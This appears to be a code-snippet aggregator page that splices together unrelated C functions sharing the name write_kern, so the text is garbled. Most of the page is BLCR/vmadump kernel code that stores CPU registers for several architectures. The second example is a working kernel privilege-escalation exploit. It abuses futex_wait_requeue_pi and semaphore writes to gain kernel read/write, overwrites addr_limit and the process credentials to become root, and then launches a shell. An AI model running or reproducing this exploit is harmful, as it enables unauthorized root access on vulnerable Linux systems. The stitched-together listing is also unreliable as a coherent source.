Пример #1
0
long vmadump_store_cpu(struct vmadump_map_ctx *ctx, struct file *file,
		       struct pt_regs *regs) {
    struct switch_stack *ss;
    unsigned long usp;
    long bytes = 0, r;

    /* Store struct pt_regs */
    r = write_kern(ctx, file, regs, sizeof(*regs));
    if (r != sizeof(*regs)) goto err;
    bytes += r;

    /* Alpha has more registers than what's in struct ptregs to save
     * The 'switch_stack' structure contains the rest of the integer
     * registers and the floating point registers.  Then we still have
     * to go after the user's stack pointer via the PAL code. */
    /* Some pointer voodoo... the switch_stack structure got
     * pushed on top of the struct pt_regs.. */
    ss = ((struct switch_stack *) regs)-1;
    usp = rdusp();

    r = write_kern(ctx, file, ss, sizeof(*ss));
    if (r != sizeof(*ss)) goto err;
    bytes += r;

    r = write_kern(ctx, file, &usp, sizeof(usp));
    if (r != sizeof(usp)) goto err;
    bytes += r;
    return bytes;

 err:
    if (r >= 0) r = -EIO;
    return r;
}
Пример #2
0
void *ger(void *arg){
	int sem_id;
	void *task_struct,*cred;
	char buf[256];
	const char new_addr_limit[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
	const char new_egideuid[] = {0,0,0,0};
	printf("ger thread\n");

	int fd = open("/dev/null", O_RDWR);

	setpriority(PRIO_PROCESS , 0, *(int*)arg);
	
	if ((sem_id = semget(IPC_PRIVATE,(WAITER_OVERWRITE_SIZE+WAITER_OVERWRITE_OFFSET)/2,IPC_CREAT | 0660)) < 0){
       		perror("semget");
	}

	// don't call anything else to prevent tainting rt_waiter
	futex_wait_requeue_pi(&srcfutex, 0, &destfutex, NULL, 0);	
   	semctl(sem_id,-1,SETALL,sem_values);
	while(!proceed_to_overwrite);
	proceed_to_overwrite = 0;
   	semctl(sem_id,-1,SETALL,sem_values);
	while(!proceed_to_overwrite);
	proceed_to_overwrite = 0;


	while(write(fd, (void*)(tbase+24), 8) < 0){ printf("no kernel r/w\n"); sleep(1); }
	printf("has kernel r/w!\n");
	write_kern((void*)(tbase+32), (void *)&new_addr_limit, 8);
	futex_wait_requeue_pi(NULL, 0, NULL, NULL, 0); // dummy call to trigger breakpoint
	read_kern((void*)(tbase), (void *)&task_struct, 8);
	printf("task_struct: %p\n",task_struct);
	read_kern((void *)(task_struct+0x598), (void*)&cred, 8);
	printf("cred: %p\n",cred);
	futex_wait_requeue_pi(NULL, 0, NULL, NULL, 0); 
	write_kern((void *)(cred+20), (void*)&new_egideuid, 4);
	write_kern((void *)(cred+24), (void*)&new_egideuid, 4);
	futex_wait_requeue_pi(NULL, 0, NULL, NULL, 0); 

	if(geteuid() != 0) printf("not root :(\n");
	sprintf(buf,"sh -c \"echo success %d > offset.txt && chmod 777 offset.txt && sh \"",WAITER_OVERWRITE_OFFSET);
	system(buf);
	
	printf("ger function exiting\n");
	return NULL;
	
}
long vmadump_store_cpu(cr_chkpt_proc_req_t *ctx, struct file *file,
                       struct pt_regs *regs) {
    long bytes = 0, r;

    /* Store struct pt_regs */
    r = write_kern(ctx, file, regs, sizeof(*regs));
    if (r != sizeof(*regs)) goto err;
    bytes += r;

    /* Floating point regs */
    if (regs->msr & MSR_FP)
        giveup_fpu(current);
    r = write_kern(ctx, file, &current->thread.fpr,
                   sizeof(current->thread.fpr));
    if (r != sizeof(current->thread.fpr)) goto err;
    bytes += r;

    r = write_kern(ctx, file, &current->thread.fpscr,
                   sizeof(current->thread.fpscr));
    if (r != sizeof(current->thread.fpscr)) goto err;
    bytes += r;

#if HAVE_THREAD_VDSO_BASE
    /* unconditionally store the base of the VDSO library */
    r = write_kern(ctx, file, &current->thread.vdso_base,
                   sizeof(current->thread.vdso_base));
    if (r != sizeof(current->thread.vdso_base)) goto err;
    bytes += r;
#endif

#ifdef CONFIG_ALTIVEC
    /* XXX I really need to find out if this is right */
    if (regs->msr & MSR_VEC)
        giveup_altivec(current);
    r = write_kern(ctx, file, &current->thread.vr,
                   sizeof(current->thread.vr));
    if (r != sizeof(current->thread.vr)) goto err;
    bytes += r;

    r = write_kern(ctx, file, &current->thread.vscr,
                   sizeof(current->thread.vscr));
    if (r != sizeof(current->thread.vscr)) goto err;
    bytes += r;
#endif
    return bytes;

err:
    if (r >= 0) r = -EIO;
    return r;
}
loff_t vmad_store_arch_map(cr_chkpt_proc_req_t *ctx, struct file *file,
                           struct vm_area_struct *map, int flags)
{
    loff_t r = 0;

    if (vmad_is_arch_map(map)) {
        /* Just write out a section header */
        struct vmadump_vma_header head;
        head.start   = map->vm_start;
        head.end     = map->vm_end;
        head.flags   = map->vm_flags;
        head.namelen = VMAD_NAMELEN_ARCH;
        head.offset  = 0;

        r = write_kern(ctx, file, &head, sizeof(head));
        if (r < 0) return r;
        if (r != sizeof(head)) r = -EIO;
    }

    return r;
}
long vmadump_store_cpu(cr_chkpt_proc_req_t *ctx, struct file *file,
		       struct pt_regs *regs) {
    long bytes = 0, r;

    /* Store struct pt_regs */
#ifdef CONFIG_XEN
    /* Ensure CS and SS are not Xen-modified, others restore based on CS */
    {   struct pt_regs regtmp = *regs;
        if (test_thread_flag(TIF_IA32)) {
            regtmp.cs = __USER32_CS;
            regtmp.ss = __USER32_DS;
        } else {
            regtmp.cs = __USER_CS;
            regtmp.ss = __USER_DS;
        }
        r = write_kern(ctx, file, &regtmp, sizeof(regtmp));
    }
#else
    r = write_kern(ctx, file, regs, sizeof(*regs));
#endif
    if (r != sizeof(*regs)) goto err;
    bytes += r;

    /* Store FPU info (and later general "extended state") */
    r = vmadump_store_i387(ctx, file);
    if (r <= 0) goto err;
    bytes += r;

    /* Store debugging state */
    r = vmadump_store_debugreg(ctx, file);
    if (r < 0) goto err;
    bytes += r;

    /* user(r)sp, since we don't use the ptrace entry path in BLCR */
#if HAVE_THREAD_USERSP
    current->thread.usersp = vmad_read_oldrsp();
    r = write_kern(ctx, file, &current->thread.usersp,
		   sizeof(current->thread.usersp));
    if (r != sizeof(current->thread.usersp)) goto err;
#elif HAVE_THREAD_USERRSP
    current->thread.userrsp = vmad_read_oldrsp();
    r = write_kern(ctx, file, &current->thread.userrsp,
		   sizeof(current->thread.userrsp));
    if (r != sizeof(current->thread.userrsp)) goto err;
#else
    #error
#endif
    bytes += r;

    /* Store all weird segmenty crap */

    /* 64-bit offsets for FS and GS */
    r = write_kern(ctx, file, &current->thread.fs,
		   sizeof(current->thread.fs));
    if (r != sizeof(current->thread.fs)) goto err;
    bytes += r;
    
    r = write_kern(ctx, file, &current->thread.gs,
		   sizeof(current->thread.gs));
    if (r != sizeof(current->thread.gs)) goto err;
    bytes += r;

    savesegment(fs,current->thread.fsindex);
    savesegment(gs,current->thread.gsindex);

    /* 32-bit segment descriptors for FS and GS */
    r = write_kern(ctx, file, &current->thread.fsindex,
		   sizeof(current->thread.fsindex));
    if (r != sizeof(current->thread.fsindex)) goto err;
    bytes += r;
    
    r = write_kern(ctx, file, &current->thread.gsindex,
		   sizeof(current->thread.gsindex));
    if (r != sizeof(current->thread.gsindex)) goto err;
    bytes += r;

    /* TLS segment descriptors */
    r = write_kern(ctx, file, &current->thread.tls_array,
		   sizeof(current->thread.tls_array));
    if (r != sizeof(current->thread.tls_array)) goto err;
    bytes += r;

#if HAVE_THREAD_INFO_SYSENTER_RETURN
    {
	void *sysenter_return = current_thread_info()->sysenter_return;
	r = write_kern(ctx, file, &sysenter_return, sizeof(sysenter_return));
	if (r != sizeof(sysenter_return)) goto err;
    }
#endif
    
    return bytes;

 err:
    if (r >= 0) r = -EIO;
    return r;
}